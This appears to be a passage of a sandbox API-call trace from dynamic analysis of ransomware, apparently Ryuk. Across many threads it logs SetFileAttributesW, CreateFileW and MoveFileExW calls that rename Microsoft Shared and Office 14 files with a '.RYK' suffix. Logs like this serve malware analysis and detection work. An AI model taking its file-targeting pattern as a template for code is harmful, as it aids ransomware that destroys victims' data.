	[0163.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 228
	os_tid = 0x958

	[0163.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", dwFileAttributes=0x80) returned 0
	[0163.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 229
	os_tid = 0x73c

	[0163.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", dwFileAttributes=0x80) returned 0
	[0163.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.056] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 230
	os_tid = 0x3c4

	[0163.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", dwFileAttributes=0x80) returned 0
	[0163.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 231
	os_tid = 0xbc4

	[0163.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", dwFileAttributes=0x80) returned 0
	[0163.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.066] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 232
	os_tid = 0xa3c

	[0163.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", dwFileAttributes=0x80) returned 0
	[0163.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 233
	os_tid = 0xb20

	[0163.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", dwFileAttributes=0x80) returned 0
	[0163.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.069] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 234
	os_tid = 0xa2c

	[0163.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", dwFileAttributes=0x80) returned 0
	[0163.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 235
	os_tid = 0xb80

	[0163.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", dwFileAttributes=0x80) returned 0
	[0163.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 236
	os_tid = 0x76c

	[0163.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", dwFileAttributes=0x80) returned 0
	[0163.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 237
	os_tid = 0x3a8

	[0163.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", dwFileAttributes=0x80) returned 0
	[0163.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.087] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 238
	os_tid = 0x5f8

	[0163.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", dwFileAttributes=0x80) returned 0
	[0163.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 239
	os_tid = 0x594

	[0163.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", dwFileAttributes=0x80) returned 0
	[0163.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 240
	os_tid = 0x2c4

	[0163.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", dwFileAttributes=0x80) returned 0
	[0163.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 241
	os_tid = 0x6dc

	[0163.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", dwFileAttributes=0x80) returned 0
	[0163.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 242
	os_tid = 0x3bc

	[0163.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", dwFileAttributes=0x80) returned 0
	[0163.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.512] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 243
	os_tid = 0x578

	[0163.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", dwFileAttributes=0x80) returned 0
	[0163.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.510] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 244
	os_tid = 0xb50

	[0163.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", dwFileAttributes=0x80) returned 0
	[0163.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 245
	os_tid = 0x3b0

	[0163.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", dwFileAttributes=0x80) returned 0
	[0163.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 246
	os_tid = 0x510

	[0163.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", dwFileAttributes=0x80) returned 0
	[0163.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 247
	os_tid = 0x3b8

	[0163.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", dwFileAttributes=0x80) returned 0
	[0163.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 248
	os_tid = 0x124

	[0163.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", dwFileAttributes=0x80) returned 0
	[0163.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 250
	os_tid = 0x754

	[0163.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", dwFileAttributes=0x80) returned 0
	[0163.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 251
	os_tid = 0xa4c

	[0164.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", dwFileAttributes=0x80) returned 0
	[0164.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.417] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 252
	os_tid = 0x864

	[0164.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", dwFileAttributes=0x80) returned 0
	[0164.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.124] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 253
	os_tid = 0xc04

	[0164.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", dwFileAttributes=0x80) returned 0
	[0164.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 254
	os_tid = 0xc08

	[0164.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", dwFileAttributes=0x80) returned 0
	[0164.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 255
	os_tid = 0xc0c

